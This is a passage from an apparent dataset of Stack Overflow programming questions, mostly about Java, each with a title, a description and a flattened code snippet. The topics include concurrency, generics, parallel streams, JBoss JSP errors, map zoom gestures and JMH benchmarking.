kCCBlockSizeAES128 ; void *buffer_decrypt = malloc ( bufferSize ) ; CCCryptorStatus result = CCCrypt ( kCCDecrypt , kCCAlgorithmAES128 , kCCOptionPKCS7Padding , passwordData.bytes , kCCKeySizeAES256 , iv , [ self bytes ] , [ self length ] , buffer_decrypt , bufferSize , & numBytesEncrypted ) ; NSLog ( @ '' ... ... .decryption ... ... ... .. % d ... ... .. '' , result ) ; if ( result == kCCSuccess ) return [ NSData dataWithBytesNoCopy : buffer_decrypt length : numBytesEncrypted ] ;",Video file decryption in iOS +Java,"so i want to have an arraylist that stores a series of stock quotes . but i keep track of bid price , ask price and last price for each.of course at any time , the bid ask or last of a given stock can change.i have one thread that updates the prices and one that reads them.i want to make sure that when reading no other thread is updating a price . so i looked at synchronized collection . but that seems to only prevent reading while another thread is adding or deleting an entry to the arraylist.so now i 'm onto the wrapper approach : so what i want to accomplish with this is only one thread can be doing anything - reading or updating an the_list 's contents - at one time . am i approach this right ? thanks .","public class Qte_List { private final ArrayList < Qte > the_list ; public void UpdateBid ( String p_sym , double p_bid ) { synchronized ( the_list ) { Qte q = Qte.FindBySym ( the_list , p_sym ) ; q.bid=p_bid ; } } public double ReadBid ( String p_sym ) { synchronized ( the_list ) { Qte q = Qte.FindBySym ( the_list , p_sym ) ; return q.bid ; } }",synchronizing reads to a java collection +Java,"I 'm struggling to find a proper way to get a speedup from this stream : onerousFunction ( ) is just a function that makes the thread work for a bit and returns the int value of the node . No matter how many cpus i use , the execution time always remains the same.I think the problem stands in the Spliterator i wrote : But i really ca n't find a good solution .","StreamSupport.stream ( new BinaryTreeSpliterator ( root ) , true ) .parallel ( ) .map ( node - > processor.onerousFunction ( node.getValue ( ) ) ) .mapToInt ( i - > i.intValue ( ) ) .sum ( ) public class BinaryTreeSpliterator extends AbstractSpliterator < Node > { private LinkedBlockingQueue < Node > nodes = new LinkedBlockingQueue < > ( ) ; public BinaryTreeSpliterator ( Node root ) { super ( Long.MAX_VALUE , NONNULL | IMMUTABLE ) ; this.nodes.add ( root ) ; } @ Override public boolean tryAdvance ( Consumer < ? super Node > action ) { Node current = this.nodes.poll ( ) ; if ( current ! = null ) { action.accept ( current ) ; if ( current.getLeft ( ) ! = null ) this.nodes.offer ( current.getLeft ( ) ) ; if ( current.getRight ( ) ! = null ) this.nodes.offer ( current.getRight ( ) ) ; return true ; } return false ; } }",Java parallel streams : there 's a way to navigate a binary tree ? +Java,"Java GUI applications only give me a blank window , I tried : and setting this : and this : and I tried using `` wmname '' suckless tools.None of those methods worked for me . Two questions : Is there any other possibility ? What am I getting wrong ? I use java 8 and below is my currently minimal xmonad config .","main = do xmonad $ defaultConfig { modMask = mod4Mask , startupHook = setWMName `` LG3D '' -- other customizations } _JAVA_AWT_WM_NONREPARENTING=1 AWT_TOOLKIT=MToolkit import XMonad import XMonad.Hooks.DynamicLogimport XMonad.Hooks.SetWMNameimport XMonad.Hooks.ManageDocksimport XMonad.Hooks.FadeInactiveimport XMonad.Util.Run ( spawnPipe ) import XMonad.Util.EZConfig ( additionalKeys ) import XMonad.Actions.UpdatePointerimport XMonad.Hooks.EwmhDesktopsimport System.IOterm = `` termite '' myWorkspaces = [ `` 1 '' , '' 2 '' , '' 3 '' , '' 4 '' , '' 5 '' ] myLogHook : : X ( ) myLogHook = fadeInactiveLogHook fadeAmount where fadeAmount = 0.7main = do xmonad $ defaultConfig { startupHook = setWMName `` LG3D '' , manageHook = manageDocks < + > manageHook defaultConfig , layoutHook = avoidStruts $ layoutHook defaultConfig , logHook = dynamicLog > > updatePointer ( 0.5,0.5 ) ( 1,1 ) > > myLogHook , terminal = term , borderWidth = 0 , focusFollowsMouse = False , workspaces = myWorkspaces } ` additionalKeys ` [ ( ( mod1Mask .| . shiftMask , xK_l ) , spawn `` scrot 'lock.png ' -q 1 -e 'mv $ f /tmp/lock.png ' & & i3lock -I 1 -i /tmp/lock.png '' ) , ( ( controlMask , xK_Print ) , spawn `` sleep 0.2 ; scrot -s '' ) , ( ( 0 , xK_Print ) , spawn `` scrot '' ) , ( ( mod1Mask , xK_d ) , spawn `` rofi -config /home/chrootzius/.config/rofi/config -show run '' ) ]",Java GUI Xmonad not working +Java,I 'm creating an utility in Spring Boot to connect and insert/upsert data into the couchbase in the more generic way possible.I have something like this : Where I have MyClass I would like to accept any kind of document to insert into couchbase.I have tried some things like using the generic type T but without success because I got the following error : Caused by : org.springframework.data.mapping.MappingException : Could n't find PersistentEntity for type class java.lang.Object ! My structure is : service ( interface/impl ) > DAO ( interface/impl ) > repositoryExtra info : Across the above model I am passing a Generic type T. I am calling the service with my Pojo with the @ Document annotation.The goal is to remove the `` dependency '' of having one repository class for each type of Document .,"public interface GenericRepository extends CouchbaseRepository < MyClass , String > { }",Generic type to repository for couchbase using spring boot +Java,"I started reading Java Concurrency in Practice and I came across the following example ( this is a negative example - shows bad practice ) : The author in the book writes : When ThisEscape publishes the EventListener , it implicitly publishes the enclosing ThisEscape instance as well , because inner class instances contain a hidden reference to the enclosing instance.When I think about the usage of such code , I could do something like so : and I can get the reference to the registered EventListener , but what does it mean that I could obtain the reference to the enclosing ThisEscape instance ? Could someone give me an example of such a behaviour ? What is the use case ?",public class ThisEscape { public ThisEscape ( EventSource source ) { source.registerListener ( new EventListener ( ) { public void onEvent ( Event e ) { doSomething ( e ) ; } } ) ; } } EventSource eventSource = new EventSource ( ) ; ThisEscape thisEscape = new ThisEscape ( eventSource ) ;,Java escaping reference to 'this ' +Java,"I want to make a slick java commandline app which doesnt include all the nasty `` java -jar some.jar arguments '' instead , I would have it work just likelike any other commandline app . I use ubuntu linux , and it would be fine if it included a bit of .sh script or anything . I know I can just create a file with java -jar program.jar and do chmod +x file , afterwards I could run i with ./file , but then how can I pass the arguments to the program ?",program -option argument,Java slick command line app ? +Java,"I am porting this application from weblogic to Jboss with maven and I am facing this message now on the second page . Any idea of what I could be missing ? It does n't work with any JSP that I create or in any controller that I call it . I tried to create an instance of the PrintWriter and it outputs the String . The problem is with compiling any jsp through this function . Also , the index.jsp works fine.Stacktrace in server.log : pom.xmlweb.xmlSubsystem for jsp in standalone.xml","ESC [ 0mESC [ 31m09:51:38,753 ERROR [ org.apache.catalina.core.ContainerBase. [ jboss.web ] . [ default-host ] . [ /cashvariance ] . [ jsp ] ] ( http-/0.0.0.0:8180-1 ) JBWEB000236 : Servlet.service ( ) for servlet jsp threw exception : java.lang.NullPointerException at java.io.Writer.write ( Writer.java:157 ) [ rt.jar:1.8.0_101 ] at java.io.PrintWriter.newLine ( PrintWriter.java:480 ) [ rt.jar:1.8.0_101 ] at java.io.PrintWriter.println ( PrintWriter.java:629 ) [ rt.jar:1.8.0_101 ] at java.io.PrintWriter.println ( PrintWriter.java:740 ) [ rt.jar:1.8.0_101 ] at org.apache.jasper.compiler.ServletWriter.printil ( ServletWriter.java:130 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.compiler.Generator.genPreamblePackage ( Generator.java:481 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.compiler.Generator.generatePreamble ( Generator.java:584 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.compiler.Generator.generate ( Generator.java:3462 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.compiler.Compiler.generateJava ( Compiler.java:244 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.compiler.Compiler.compile ( Compiler.java:359 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.compiler.Compiler.compile ( Compiler.java:339 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.compiler.Compiler.compile ( Compiler.java:326 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.JspCompilationContext.compile ( JspCompilationContext.java:606 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.servlet.JspServletWrapper.service ( JspServletWrapper.java:308 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.servlet.JspServlet.serviceJspFile ( JspServlet.java:309 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.jasper.servlet.JspServlet.service ( JspServlet.java:242 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at javax.servlet.http.HttpServlet.service ( HttpServlet.java:847 ) [ jboss-servlet-api_3.0_spec-1.0.2.Final-redhat-2.jar:1.0.2.Final-redhat-2 ] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:295 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:214 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.catalina.core.StandardWrapperValve.invoke ( StandardWrapperValve.java:231 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.catalina.core.StandardContextValve.invoke ( StandardContextValve.java:149 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.jboss.as.web.security.SecurityContextAssociationValve.invoke ( SecurityContextAssociationValve.java:169 ) [ jboss-as-web-7.5.0.Final-redhat-21.jar:7.5.0.Final-redhat-21 ] at org.apache.catalina.core.StandardHostValve.invoke ( StandardHostValve.java:150 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.catalina.valves.ErrorReportValve.invoke ( ErrorReportValve.java:97 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.catalina.core.StandardEngineValve.invoke ( StandardEngineValve.java:102 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.catalina.connector.CoyoteAdapter.service ( CoyoteAdapter.java:344 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.coyote.http11.Http11Processor.process ( Http11Processor.java:854 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.coyote.http11.Http11Protocol $ Http11ConnectionHandler.process ( Http11Protocol.java:653 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at org.apache.tomcat.util.net.JIoEndpoint $ Worker.run ( JIoEndpoint.java:926 ) [ jbossweb-7.5.7.Final-redhat-1.jar:7.5.7.Final-redhat-1 ] at java.lang.Thread.run ( Thread.java:745 ) [ rt.jar:1.8.0_101 ] < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > cashvariance < /groupId > < artifactId > cashvariance < /artifactId > < version > 0.0.1-SNAPSHOT < /version > < packaging > war < /packaging > < build > < resources > < resource > < directory > WebContent < /directory > < /resource > < /resources > < finalName > cashvariance < /finalName > < sourceDirectory > src < /sourceDirectory > < plugins > < plugin > < artifactId > maven-compiler-plugin < /artifactId > < version > 3.5.1 < /version > < configuration > < source > 1.7 < /source > < target > 1.7 < /target > < /configuration > < /plugin > < plugin > < artifactId > maven-war-plugin < /artifactId > < version > 3.0.0 < /version > < configuration > < warSourceDirectory > WebContent < /warSourceDirectory > < /configuration > < /plugin > < /plugins > < /build > < dependencies > < dependency > < groupId > javax.servlet < /groupId > < artifactId > javax.servlet-api < /artifactId > < version > 3.1.0 < /version > < scope > provided < /scope > < /dependency > < dependency > < groupId > javax.servlet.jsp < /groupId > < artifactId > jsp-api < /artifactId > < version > 2.1 < /version > < scope > provided < /scope > < /dependency > < ! -- https : //mvnrepository.com/artifact/log4j/log4j -- > < dependency > < groupId > log4j < /groupId > < artifactId > log4j < /artifactId > < version > 1.2.17 < /version > < /dependency > < ! -- https : //mvnrepository.com/artifact/javax.mail/mail -- > < dependency > < groupId > javax.mail < /groupId > < artifactId > mail < /artifactId > < version > 1.4 < /version > < /dependency > < ! -- https : //mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -- > < dependency > < groupId > com.unboundid < /groupId > < artifactId > unboundid-ldapsdk < /artifactId > < version > 4.0.0 < /version > < scope > test < /scope > < /dependency > < ! -- https : //mvnrepository.com/artifact/org.apache.taglibs/taglibs-standard-spec -- > < dependency > < groupId > org.apache.taglibs < /groupId > < artifactId > taglibs-standard-spec < /artifactId > < version > 1.2.5 < /version > < /dependency > < dependency > < groupId > org.apache.tomcat < /groupId > < artifactId > jasper < /artifactId > < version > 6.0.32 < /version > < /dependency > < /dependencies > < /project > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < web-app xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns= '' http : //xmlns.jcp.org/xml/ns/javaee '' xsi : schemaLocation= '' http : //xmlns.jcp.org/xml/ns/javaee http : //xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd '' id= '' WebApp_ID '' version= '' 3.1 '' > < display-name > cashvariance < /display-name > < servlet > < servlet-name > jsp < /servlet-name > < servlet-class > org.apache.jasper.servlet.JspServlet < /servlet-class > < init-param > < param-name > pageCheckSeconds < /param-name > < param-value > -1 < /param-value > < /init-param > < init-param > < param-name > debug < /param-name > < param-value > true < /param-value > < /init-param > < init-param > < param-name > keepgenerated < /param-name > < param-value > true < /param-value > < /init-param > < load-on-startup > 0 < /load-on-startup > < /servlet > < servlet > < servlet-name > HelloWorldServlet < /servlet-name > < servlet-class > HelloWorldServlet < /servlet-class > < /servlet > < servlet > < servlet-name > CashVarianceController < /servlet-name > < servlet-class > cashvariance.controller.CashVarianceServlet < /servlet-class > < /servlet > < servlet > < servlet-name > DropDownController < /servlet-name > < servlet-class > cashvariance.controller.CashVarianceServletForDropDown < /servlet-class > < /servlet > < servlet > < servlet-name > ManageRPAController < /servlet-name > < servlet-class > cashvariance.controller.ManageRPAServlet < /servlet-class > < /servlet > < servlet > < servlet-name > AddRPAController < /servlet-name > < servlet-class > cashvariance.controller.AddRPAServlet < /servlet-class > < /servlet > < servlet > < servlet-name > UpdateDeleteController < /servlet-name > < servlet-class > cashvariance.controller.UpdateDeleteServlet < /servlet-class > < /servlet > < servlet > < servlet-name > DataDumpController < /servlet-name > < servlet-class > cashvariance.controller.DataDumpServlet < /servlet-class > < /servlet > < servlet > < servlet-name > Main < /servlet-name > < servlet-class > cashvariance.controller.LoginController < /servlet-class > < /servlet > < servlet > < servlet-name > SnoopServlet < /servlet-name > < servlet-class > SnoopServlet < /servlet-class > < /servlet > < servlet > < servlet-name > logon < /servlet-name > < servlet-class > demo.log4j.servlet.LogonServlet < /servlet-class > < /servlet > < servlet > < servlet-name > ForgotPassword < /servlet-name > < servlet-class > demo.log4j.servlet.ForgotPasswordServlet < /servlet-class > < /servlet > < servlet > < servlet-name > Register < /servlet-name > < servlet-class > demo.log4j.servlet.RegisterServlet < /servlet-class > < /servlet > < servlet > < servlet-name > GetComments < /servlet-name > < servlet-class > demo.log4j.servlet.GetCommentsServlet < /servlet-class > < /servlet > < servlet > < servlet-name > log4jsetup < /servlet-name > < servlet-class > demo.log4j.servlet.Log4jSetupServlet < /servlet-class > < init-param > < param-name > props < /param-name > < param-value > log4j.properties < /param-value > < /init-param > < init-param > < param-name > watch < /param-name > < param-value > true < /param-value > < /init-param > < init-param > < param-name > userDB < /param-name > < param-value > userDB.properties < /param-value > < /init-param > < load-on-startup > 1 < /load-on-startup > < /servlet > < servlet-mapping > < servlet-name > HelloWorldServlet < /servlet-name > < url-pattern > /HelloWorldServlet < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > CashVarianceController < /servlet-name > < url-pattern > /CashVarianceController < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > DropDownController < /servlet-name > < url-pattern > /DropDownController < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > ManageRPAController < /servlet-name > < url-pattern > /ManageRPAController < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > AddRPAController < /servlet-name > < url-pattern > /AddRPAController < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > UpdateDeleteController < /servlet-name > < url-pattern > /UpdateDeleteController < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > DataDumpController < /servlet-name > < url-pattern > /DataDumpController < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > Main < /servlet-name > < url-pattern > /Main < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > SnoopServlet < /servlet-name > < url-pattern > /SnoopServlet < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > logon < /servlet-name > < url-pattern > /log4j_demo/logon < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > ForgotPassword < /servlet-name > < url-pattern > /log4j_demo/ForgotPassword < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > Register < /servlet-name > < url-pattern > /log4j_demo/Register < /url-pattern > < /servlet-mapping > < servlet-mapping > < servlet-name > GetComments < /servlet-name > < url-pattern > /log4j_demo/GetComments < /url-pattern > < /servlet-mapping > < welcome-file-list > < welcome-file > index.jsp < /welcome-file > < /welcome-file-list > < error-page > < error-code > 404 < /error-code > < location > /jsp/error.jsp < /location > < /error-page > < ! -- < welcome-file-list > -- > < ! -- < welcome-file > index.html < /welcome-file > -- > < ! -- < welcome-file > index.htm < /welcome-file > -- > < ! -- < welcome-file > index.jsp < /welcome-file > -- > < ! -- < welcome-file > default.html < /welcome-file > -- > < ! -- < welcome-file > default.htm < /welcome-file > -- > < ! -- < welcome-file > default.jsp < /welcome-file > -- > < ! -- < /welcome-file-list > -- > < /web-app > < subsystem xmlns= '' urn : jboss : domain : web:2.2 '' default-virtual-server= '' default-host '' native= '' false '' > < configuration > < jsp-configuration development= '' true '' java-encoding= '' ISO8859_1 '' / > < /configuration > < connector name= '' http '' protocol= '' HTTP/1.1 '' scheme= '' http '' socket-binding= '' http '' / > < virtual-server name= '' default-host '' enable-welcome-root= '' true '' > < alias name= '' localhost '' / > < alias name= '' example.com '' / > < /virtual-server > < /subsystem >",Nullpointer while using response.sendRedirect ( ) +Java,"In c++ we can write : To get templated inheritance.Can the same be done in java using generics ? Thanks.Edit : Adding more info about my intentionsIn my scenario I have two subclasses , Sprite and AnimatedSprite ( which is a subclass of Sprite ) . The next step is a PhysicalSprite that adds physics to the sprites , but I want it to be able to inherit from both Sprite and AnimatedSprite .",# include < iostream > class Base1 { public : void test ( ) { std : :cout < < `` Base 1 '' < < std : :endl ; } } ; class Base2 { public : void test ( ) { std : :cout < < `` Base 2 '' < < std : :endl ; } } ; template < class T > class Derived : public T { } ; int main ( ) { Derived < Base1 > d1 ; Derived < Base2 > d2 ; d1.test ( ) ; d2.test ( ) ; },Generic inheritance in java +Java,I did this for MapView before and it was pretty simple czuse there were predefined methods like onInterceptTouchEvent or GestureListeners etc.Did anyone try this double tap or double click zoom feature in Map Fragment as well . I googles but still not able to found any solution.i just started it by adding the UiSettings only getMap ( ) .getUiSettings ( ) .setZoomGesturesEnabled ( true ) ; Will it be implemented by the help of setOnMapClickListener ( ) or something is there to handle the gesture for double tap event for Map Fragment ? NOTE : This question purely on MapFragment and not related to MapView which have already answers Double tap : zoom on Android MapView ? EDITMapFragment which I used in the layout : The class is a controller which is working for the Activity which extends Activity not AppCompactActivity.Also I added marker clustering in the map.Class side : onMapReady : And inside setUpMap I am simply transferring some data in between objects .,"< ViewFlipper android : id= '' @ +id/viewFlipper '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : layout_below= '' @ id/noItemsText '' android : layout_centerInParent= '' true '' android : layout_gravity= '' center '' android : addStatesFromChildren= '' true '' android : background= '' @ android : color/transparent '' android : gravity= '' center '' > < ListView android : id= '' @ +id/storesListView '' style= '' @ style/Fill '' android : background= '' @ android : color/transparent '' android : cacheColorHint= '' # 00000000 '' / > < fragment android : id= '' @ +id/mapview '' android : name= '' com.google.android.gms.maps.MapFragment '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' / > < /ViewFlipper > public class StoreFinderController extends BeeonicsControllerBase implements OnMapReadyCallback , ClusterManager.OnClusterItemInfoWindowClickListener < AllClusterItems > , ClusterManager.OnClusterClickListener < AllClusterItems > { @ Overridepublic void onMapReady ( GoogleMap googleMap ) { /*better to work with our map : ) */ this.googleMap = googleMap ; mClusterManager = new CustomClusterManager < AllClusterItems > ( getActivity ( ) , getMap ( ) ) ; getMap ( ) .setOnCameraIdleListener ( mClusterManager ) ; getMap ( ) .setOnInfoWindowClickListener ( mClusterManager ) ; getMap ( ) .setOnMarkerClickListener ( mClusterManager ) ; mClusterManager.setOnClusterItemInfoWindowClickListener ( this ) ; mClusterManager.setOnClusterClickListener ( this ) ; /*map additional settings*/ setUpMap ( ) ; //setUpGoogleMap ( ) ; //readItems ( ) ; }",Double Tap to Zoom Feature for Map Fragment +Java,"The java documentation says ; Furthermore , a heap pollution situation occurs when the l.add method is called . The static type second formal parameter of the add method is String , but this method is called with an actual parameter of a different type , Integer . However , the compiler still allows this method call . Because of type erasure , the type of the second formal parameter of the add method ( which is defined as List.add ( int , E ) ) becomes Object . Consequently , the compiler allows this method call because , after type erasure , the l.add method can add any object of type Object , including an object of Integer type my question is about the part i made bold . I understand that in line 2 heap pollution occurs cause l being of List references an object of type List . But when add method is called on l reference should n't it expect Number type instead of String as l is reference to ArrayList . Or is it , that after ls=l the space in heap is made of List < String > also for the l reference ? in this case makes sense what java docs says in the part made in bold","List l = new ArrayList < Number > ( ) ; List < String > ls = l ; // unchecked warningl.add ( 0 , new Integer ( 42 ) ) ; // another unchecked warningString s = ls.get ( 0 ) ; // ClassCastException is thrown","heap polution , java" +Java,"I 'm trying to use ELKI from within JAVA to run DBSCAN . For testing I used a FileBasedDatabaseConnection . Now I would like to run DBSCAN with my custom Objects as parameters.My objects have the following structure : I 'd like to run DBSCAN within ELKI using a List < MyObject > as database , but only some of the parameters should be taken into account ( e.g . running DBSCAN on the objects using the parameters param1 , param2 and param4 ) . Ideally the resulting clusters contain the whole objects.Is there any way to achieve this behaviour ? If not , how can I convert the objects into a format that ELKI understands and allows me to match the resulting cluster-objects with my custom objects ( i.e . is there an easy way to programmatically set a label ) ? The following question speaks of featureVectors : Using ELKI on custom objects and making sense of resultsMay this be a possible solution for my problem ? And how is a feature vector created out of my List < MyObject > ?",public class MyObject { private Long id ; private Float param1 ; private Float param2 ; // ... and more parameters as well as getters and setters },ELKI : Running DBSCAN on custom Objects in Java +Java,How can I resolved this error that I see in Gradle after upgrading to Milestone 5 :,: nodes-all : war : : problems summary : : : : : : ERRORS a required artifact is not listed by module descriptor : * # * ! * . *,Gradle Milestone 5 shows error about a missing artifact * # * ! * . * +Java,"I was trying to use getClass ( ) method and have the following code : I got a compiling error saying Incompatible operand types Class < capture # 1-of ? extends child > and Class < parent > , and it is ok if I initilize b with Object b= new child ( ) ; . Can anyone tell me what is the difference between them ? Thanks in advance .",class parent { } class child extends parent { } public class test { public static void main ( String [ ] args ) { child b= new child ( ) ; System.out.println ( b.getClass ( ) ==parent.class ) ; } },The use of getClass ( ) method +Java,"This is my course model in class named Course : This is my teacher model in class named Teacher : I want to get a Map < String , List < Course > > but if the teacherId is repeated just add that Course into list of map . I am using groupBy for it and it 's giving result as expected . But I want to limit here that As soon as 5 teachers are found stop to process and returned the result . How can it be done ? ?","public class Course { private int courseId ; private String courseName ; private Teacher teacher ; } public class Teacher { private int teacherId ; private String name ; } Map < Integer , List < Course > > result = courses.stream ( ) .collect ( Collectors.groupingBy ( c - > c.getTeacher ( ) .getTeacherId ( ) , Collectors.toList ( ) ) ) ;",How to limit in groupBy java stream +Java,"I have a custom ForkJoinPool created with parallelism of 25.I have a list of 700 file names and I used code like this to download the files from S3 in parallel and cast them to Java objects : When I look at the logs , I see only 5 threads being used . With a parallelism of 25 , I expected this to use 25 threads . The average latency to download and convert the file to an object is around 200ms . What am I missing ? May be a better question is how does a parallelstream figure how much to split the original list before creating threads for it ? In this case , it looks like it decided to split it 5 times and stop .",customForkJoinPool = new ForkJoinPool ( 25 ) ; customForkJoinPool.submit ( ( ) - > { return fileNames .parallelStream ( ) .map ( ( fileName ) - > { Logger log = Logger.getLogger ( `` ForkJoinTest '' ) ; long startTime = System.currentTimeMillis ( ) ; log.info ( `` Starting job at Thread : '' + Thread.currentThread ( ) .getName ( ) ) ; MyObject obj = readObjectFromS3 ( fileName ) ; long endTime = System.currentTimeMillis ( ) ; log.info ( `` completed a job with Latency : '' + ( endTime - startTime ) ) ; return obj ; } ) .collect ( Collectors.toList ) ; } ) ; } ) ;,Why does parallelStream not use the entire available parallelism ? +Java,"My question is why the following program : splits the string `` geekss @ for @ geekss '' into 5 substrings : { `` geek '' , `` '' , `` @ for @ geek '' , `` '' , `` '' } . According to me there should be 4 substrings : { `` geek '' , `` '' , '' @ for @ geek '' , `` '' } . Can someone clarify my doubt ?","// Java program to demonstrate working of split ( regex , // limit ) with high limit.public class GFG { public static void main ( String args [ ] ) { String str = `` geekss @ for @ geekss '' ; String [ ] arrOfStr = str.split ( `` s '' , 5 ) ; } }",How split ( ) method works in java ? +Java,I am trying to implement recyclerView multi-selection but I get java.lang.IllegalArgumentException on StorageStrategy.createLongStorage ( ) here is my code,"tracker = new SelectionTracker.Builder < > ( `` selection1 '' , recyclerView , new StableIdKeyProvider ( recyclerView ) , new MyItemDetailsLookup ( recyclerView ) , StorageStrategy.createLongStorage ( ) ) .withSelectionPredicate ( SelectionPredicates. < Long > createSelectAnything ( ) ) .build ( ) ;",SelectionTracker.Builder is n't working IllegalArgumentException +Java,"Before anyone starts in , I know that talking about `` speed '' in a programming language is n't always the most ... useful discussion . That said , speed is the issue here.I tackled Project Euler problem 5 in both languages and , while my implementations in both languages look fairly similar to my eye , the runtime is vastly different . Java returns an answer in only a few seconds whereas Python can take up to a minute ( on the same machine , of course ) . I 'm quite certain this is less the fault of Python and more the fault of a programmer ( me ) who has n't quite learned to think Pythonically.Note that I am not asking you to rewrite my code . I 'm simply looking for a few nudges in the right direction . ( And yes , I 've looked at some similar threads but most of those are over my head and are n't directly comparing the same algorithm in two languages . This thread is helpful , but again , does n't directly compare Java and Python - and frankly the answers are a little hard to follow . ) Without further ado : JavaPythonIt 's funny , reading these side by side I can already see that the Python version of this algorithm is slightly more optimized than the Java version , yet it 's still much slower . I 'm even more curious to find another way to approach the problem now .","public class Problem5 { public static void main ( String [ ] args ) { boolean found = false ; for ( int i = 20 ; ! found ; i += 20 ) { if ( DivisThrough20 ( i ) ) { found = true ; System.out.println ( i ) ; } } } private static boolean DivisThrough20 ( int number ) { boolean result = true ; for ( int i = 19 ; result & & i > 1 ; i -- ) { if ( number % i ! = 0 ) result = false ; } return result ; } } def DivisThroughTwenty ( number ) : for x in range ( 20,1 , -1 ) : if number % x ! = 0 : return False return True # the number we 're looking for ca n't be any lower than 20 , so we 'll # start there as a small optimizationtestNumber = 20keepLooking = Truewhile keepLooking : if not DivisThroughTwenty ( testNumber ) : testNumber += 20 else : keepLooking = Falseprint testNumber",How can I make this Project Euler solution execute in Python at the same speed as Java ? +Java,"I wrote a JMH benchmark involving 2 methods : M1 and M2 . M1 invokes M2 but for some reason , JMH claims that M1 is faster than M2.Here is the benchmark source-code : In the above example , M1 is assertThat ( ) , M2 is requireThat ( ) . Meaning , assertThat ( ) invokes requireThat ( ) under the hood.Here is the benchmark output : To reproduce this locally : Create a Maven project containing the above benchmark.Add the following dependency : Alternatively , download the library from https : //github.com/cowwoc/requirements.java/I have the following questions : Can you reproduce this result on your end ? What , if anything , is wrong with the benchmark ? UPDATE : I posted an updated benchmark source-code , benchmark output , jmh-test output and xperfasm output to https : //bitbucket.org/cowwoc/requirements/downloads per Aleksey Shipilev 's suggestion . I can not post these to Stackoverflow due to the 30k character limit on questions.UPDATE2 : I am finally getting consistent , meaningful results.By consistent , I mean that I get almost the same values across runs.By meaningful , I mean that assertMethod ( ) is slower than requireMethod ( ) .I made the following changes : Locked the CPU clock ( min/max CPU set to 99 % in Windows Power Options ) Added JVM options -XX : -TieredCompilation -XX : -ProfileInterpreterIs anyone able to achieve these results without the doubling of run times ? UPDATE3 : Disabling inlining yields the same results without a noticeable performance slowdown . I posted a more detailed answer here .","import java.util.concurrent.TimeUnit ; import static org.bitbucket.cowwoc.requirements.Requirements.assertThat ; import static org.bitbucket.cowwoc.requirements.Requirements.requireThat ; import org.openjdk.jmh.annotations.Benchmark ; import org.openjdk.jmh.annotations.BenchmarkMode ; import org.openjdk.jmh.annotations.Mode ; import org.openjdk.jmh.annotations.OutputTimeUnit ; import org.openjdk.jmh.runner.Runner ; import org.openjdk.jmh.runner.RunnerException ; import org.openjdk.jmh.runner.options.Options ; import org.openjdk.jmh.runner.options.OptionsBuilder ; @ BenchmarkMode ( Mode.AverageTime ) @ OutputTimeUnit ( TimeUnit.NANOSECONDS ) public class MyBenchmark { @ Benchmark public void assertMethod ( ) { assertThat ( `` value '' , `` name '' ) .isNotNull ( ) .isNotEmpty ( ) ; } @ Benchmark public void requireMethod ( ) { requireThat ( `` value '' , `` name '' ) .isNotNull ( ) .isNotEmpty ( ) 